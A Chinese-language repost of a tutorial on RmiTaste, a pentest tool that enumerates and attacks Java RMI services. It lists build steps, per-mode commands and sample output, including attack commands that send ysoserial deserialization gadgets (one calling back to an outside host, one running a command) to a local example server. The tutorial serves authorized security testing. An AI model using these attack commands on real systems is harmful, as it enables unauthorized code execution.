云服务器网：购买云服务器和VPS必上的网站!
云测速 | 站长工具箱 | 小爱AI助手 | 云市场大全 | 合作赞助 | 给我投稿 

RmiTaste是一款什么工具

专栏 yuntue 2023年7月16日   评论

RmiTaste可以帮助广大安全研究专家通过调用ysoserial实用工具所提供的远程方法来检测、枚举、交互和攻击RMI服务。工具使用attack攻击模式允许使用ysoserial特定的实用工具链来调用远程方法。工具使用样例大家可以看到，RmiTaste需要用到远程对象的接口。以上是“RmiTaste是一款什么工具”这篇文章的所有内容，感谢各位的阅读！

小编给大家分享一下RmiTaste是一款什么工具，相信大部分人都还不怎么了解，因此分享这篇文章给大家参考一下，希望大家阅读完这篇文章后大有收获，下面让我们一起去了解一下吧！

RmiTaste

RmiTaste可以帮助广大安全研究专家通过调用ysoserial实用工具所提供的远程方法来检测、枚举、交互和攻击RMI服务。除此之外，它还允许我们使用特定的参数来调用远程方法。

RmiTaste的主要目的是为了帮助安全专家识别目标系统中不安全的RMI服务，针对目标计算机系统未经授权的访问是一种违法行为，RmiTaste的使用必须要在合法场景下进行。

工具构建和运行

注意，本工具的运行需要OpenJDK v11.0.3。

首先，我们需要下载ysoserial-master-SNAPSHOT.jar，然后将其存储在libs_attack目录中，下载地址如下：

https://github.com/frohoff/ysoserial

第二步，使用maven构建项目代码：

mvn package

接下来，运行下列命令：

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
 
 
 __________        ._____________                __
 ______    _____ |____    ___/____    _______/  |_  ____
 |       _//     |  | |    |  __    /  ___/   __/ __ 
 |    |     Y Y    | |    |   / __ ____   |  |   ___/
 |____|_  /__|_|  /__| |____|  (____  /____  > |__|  ___  >
       /      /                  /     /            /
 @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
 
Warning: RmiTaste was written to aid security professionals in identifying the
         insecure use of RMI services on systems which the user has prior
         permission to attack. RmiTaste must be used in accordance with all
         relevant laws. Failure to do so could lead to your prosecution.
         The developers assume no liability and are not responsible for any
         misuse or damage caused by this program.

工具使用

RmiTaste提供了四种运行模式，分别为连接、枚举、攻击和调用。每一种模式都提供了单独的帮助菜单：

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: 
 [-h] [COMMAND]
  -h, --help   显示这条帮助信息
Commands:
  conn   检测与主机的连接
  enum   枚举RMI服务
  attack  攻击RMI注册方法
  call    调用RMI远程对象的特定方法

conn连接模式

conn连接模式允许我们判断目标端口是否为RMI服务端口：

# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

enum枚举模式

enum枚举模式允许研究人员获取RMI服务的相关信息，比如说远程对象名以及远程对象实现和继承的类名。如果远程对象所实现的接口在RmiTaste类路径中可访问，那么RmiTaste将会打印出所有的远程方法，并支持我们直接调用：

# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

attack攻击模式

attack攻击模式允许使用ysoserial特定的实用工具链来调用远程方法。假设远程对象拥有下列方法：

acc1 [object] [127.0.1.1:38293]
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]

# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"

# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

“-gen bruteforce”选项还允许我们实现对远程方法的暴力破解：

# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

call调用模式

call调用模式允许我们调用RMI远程对象的特定方法，假设远程对象拥有下列方法：

acc1 [object] [127.0.1.1:38293]
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]

# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"

# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234

工具使用样例

点击【这里】获取样本服务器。

首先，运行样本服务器。

接下来，进行对象枚举：

root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881]
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
   No methods found. I don't have remote object interface. Give it to me!
 
acc2 [object] [127.0.1.1:42881]
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
   No methods found. I don't have remote object interface. Give it to me!

大家可以看到，RmiTaste需要用到远程对象的接口。在渗透测试过程中，我们还需要去寻找这些接口。在这个样例中，我们只需要将rmitaste.examples-1.0-SNAPSHOT-all.jar拷贝到libs_attack目录中节课。枚举对象样例如下：

acc1 [object] [127.0.1.1:42881]
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
   setPin(java.lang.String param0); [method]
   Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   getBalance(); [method]
   deposit(java.lang.Object param0); [method]
   Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   withdraw(float param0); [method]
 
acc2 [object] [127.0.1.1:42881]
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
   setPin(java.lang.String param0); [method]
   Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   getBalance(); [method]
   deposit(java.lang.Object param0); [method]
   Parameters: param0;  may be vulnerable to Java Deserialization! [info]
   withdraw(float param0); [method]

以上是“RmiTaste是一款什么工具”这篇文章的所有内容，感谢各位的阅读！相信大家都有了一定的了解，希望分享的内容对大家有所帮助，如果还想学习更多知识，欢迎关注云服务器网(yuntue.com)行业资讯频道！

本文来源：https://www.yuntue.com/post/47766.html | 云服务器网，转载请注明出处！

打赏

关于作者: yuntue

云服务器(www.yuntue.com)是一家专门做阿里云服务器代金券、腾讯云服务器优惠券的网站，这里你可以找到阿里云服务器、腾讯云服务器等国内主流云服务器优惠价格，以及海外云服务器、vps主机等优惠信息，我们会为你提供性价比最高的云服务器和域名、数据库、CDN、免费邮箱等企业常用互联网资源。

为您推荐

印尼原生IP：保护本土文化传承的重要措施

印尼原生IP：保护本土文化传承的重要措施

阿里云服务器如何打开端口？

阿里云服务器如何打开端口？

腾讯云MySQL价格优惠快讯

腾讯云MySQL价格优惠快讯

华为云建站，让你的网站开张大吉

华为云建站，让你的网站开张大吉

WordPress中文博客主题推荐

WordPress中文博客主题推荐

高性能韩国原生VPS，助力您的互联网之路！

高性能韩国原生VPS，助力您的互联网之路！

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注